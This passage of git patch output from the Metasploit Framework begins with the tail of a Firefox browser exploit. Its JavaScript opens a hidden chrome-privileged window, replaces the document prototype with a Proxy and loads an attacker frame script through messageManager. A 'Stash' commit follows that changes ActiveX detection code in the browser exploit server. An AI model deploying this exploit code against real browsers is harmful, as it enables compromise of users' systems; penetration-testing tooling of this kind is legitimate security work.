window.top.x=window.open("chrome://browser/content/browser.xul", "x", + "chrome,,top=-9999px,left=-9999px,height=100px,width=100px"); + if (window.top.x) { + Object.setPrototypeOf(document, pro); + setTimeout(function(){ + x.location='data:text/html,'; + + setTimeout(function(){ + x.messageManager.loadFrameScript('data:,'+key, false); + setTimeout(function(){ + x.close(); + }, 100) + }, 100) + }, 100); + } + } + } + var pro = Object.getPrototypeOf(document); + Object.setPrototypeOf(document, Proxy.create(props)); + | + + %Q| + + + + + #{datastore['CONTENT'] || default_html} + + + | + end +end From e520ace1f17af38f66f13d81773ce95fa34ce7a4 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 23 Mar 2015 14:21:46 -0500 Subject: [PATCH 084/279] Stash --- .../exploit/remote/browser_exploit_server.rb | 23 ++++++++----------- 1 file changed, 9 insertions(+), 14 deletions(-) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index 78f205ae26..31fe08e8a6 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -64,7 +64,7 @@ module Msf :java, # Example: Return '1.6', or maybe '1.6.0.0' (depends) :mshtml_build, # mshtml build. Example: Returns "65535" :flash, # Example: Returns "12.0" (chrome/ff) or "12.0.0.77" (IE) - :vuln_test # Example: "if(window.MyComponentIsInstalled)return true;", + :vuln_test, # Example: "if(window.MyComponentIsInstalled)return true;", :activex # Example: [{:clsid=>'String', :method=>'String'}] ]) @@ -187,15 +187,9 @@ module Msf end end - # Returns true if a bad ActiveX is found, otherwise false - # - # @param expected_ax [Array] ActiveX requirements set by the module - def has_bad_activex?(user_ax) - user_ax.each do |a| - found = a[:found] - return true unless found - end + def has_bad_activex?(ax) + return true unless ax.split(';').empty? false end @@ -211,7 +205,7 @@ module Msf vprint_debug("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_sym]}") if k == :activex - bad_reqs << k unless has_bad_activex?(v) + bad_reqs << k unless has_bad_activex?(profile[k.to_sym]) elsif k == :vuln_test bad_reqs << k unless profile[k.to_sym].to_s == 'true' elsif v.is_a? Regexp @@ -365,9 +359,12 @@ module Msf # @param user_agent [String] The user-agent of the browser # @return [String] Returns the HTML for detection def get_detection_html(user_agent) + print_debug(user_agent) ua_info = fingerprint_user_agent(user_agent) os = ua_info[:os_name] client = ua_info[:ua_name] + print_debug(os.inspect) + print_debug(client.inspect) code = ERB.new(%Q| <%= js_base64 %> @@ -406,14 +403,12 @@ module Msf <% activex = @requirements[:activex] if activex - %> - d['activex'] = ''; - <% activex.each do \|a\| clsid = a[:clsid] method = a[:method] %> var ax = ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>'); + d['activex'] = ''; if (ax == false) { d['activex'] += "<%=clsid%>=<%=method%>;"; } @@ -433,7 +428,7 @@ module Msf %Q|